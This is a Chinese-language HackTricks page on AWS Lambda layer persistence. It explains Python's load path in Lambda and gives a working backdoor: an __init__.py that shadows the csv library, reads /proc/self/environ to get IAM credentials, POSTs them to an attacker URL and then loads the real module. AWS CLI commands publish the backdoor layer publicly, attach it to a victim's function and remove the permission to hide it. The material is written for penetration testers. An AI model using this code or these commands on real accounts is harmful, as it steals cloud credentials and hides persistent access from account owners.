AWS - Lambda Layers Persistence

支持HackTricks

Lambda层

Lambda层是一个.zip文件存档,可以包含额外的代码或其他内容。一个层可以包含库、自定义运行时、数据或配置文件。

每个函数最多可以包含五个层。当您在函数中包含一个层时,内容会被提取到执行环境中的/opt目录中。

默认情况下,您创建的对您的AWS账户是私有的。您可以选择与其他账户共享一个层,或将该层公开。如果您的函数使用了另一个账户发布的层,您的函数可以在该层被删除后继续使用该层版本,或在您被撤销访问该层的权限后继续使用。但是,您不能使用已删除的层版本创建新函数或更新函数。

部署为容器映像的函数不使用层。相反,您在构建映像时将您喜欢的运行时、库和其他依赖项打包到容器映像中。

Python加载路径

Python在Lambda中将使用以下加载路径:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

检查第二和第三位置被目录占用,其中lambda层解压缩其文件:/opt/python/lib/python3.9/site-packages/opt/python

如果攻击者成功后门一个已使用的lambda 添加一个在加载常用库时执行任意代码,他将能够在每次lambda调用时执行恶意代码。

因此,要求如下:

  • 检查受害者代码中加载的库

  • 创建一个带有lambda层的代理库,将执行自定义代码加载原始库。

预加载的库

在滥用这种技术时,我遇到了一个困难:当您的代码被执行时,某些库已经在python运行时中加载。我原本期望会发现像ossys这样的东西,但甚至json库也被加载了。 为了滥用这种持久性技术,代码需要加载一个在代码执行时未加载的新库

使用类似以下代码的python代码,可以获取在lambda中python运行时中预加载的库列表

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

并且这是列表(检查是否已经存在诸如 osjson 这样的库)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

以下是Lambda默认安装的库列表https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda层后门

在这个例子中,假设目标代码正在导入**csv。我们将csv库的导入中设置后门**。

为此,我们将在Lambda加载的路径中创建包含文件**__init__.pycsv目录**:/opt/python/lib/python3.9/site-packages 然后,当Lambda被执行并尝试加载csv时,我们的**__init__.py文件将被加载和执行**。 这个文件必须:

  • 执行我们的有效负载

  • 加载原始的csv库

我们可以使用以下代码实现:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

然后,在路径**python/lib/python3.9/site-packages/__init__.py**中创建一个包含此代码的zip文件,并将其添加为一个Lambda层。

您可以在https://github.com/carlospolop/LambdaLayerBackdoor找到此代码。

集成的payload将在第一次调用时或Lambda容器重置后(代码更改或冷启动Lambda)将IAM凭据发送到服务器,但也可以集成其他技术,例如以下内容:

AWS - Steal Lambda Requests

外部层

请注意,可以使用来自外部帐户的Lambda层。此外,即使Lambda没有权限,也可以让Lambda使用来自外部帐户的层。 还请注意,Lambda可以拥有的最大层数为5

因此,为了提高此技术的多功能性,攻击者可以:

  • 对用户的现有层进行后门操作(没有外部内容)

  • 在自己的帐户中创建一个,授予受害者帐户访问权限以使用该层,在受害者的Lambda中配置,然后移除权限

  • Lambda仍然可以使用该层,而受害者将没有任何简单的方法来下载层的代码(除非在Lambda内部获取反向shell)

  • 受害者将看不到使用**aws lambda list-layers列出的外部层**

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
支持 HackTricks

Last updated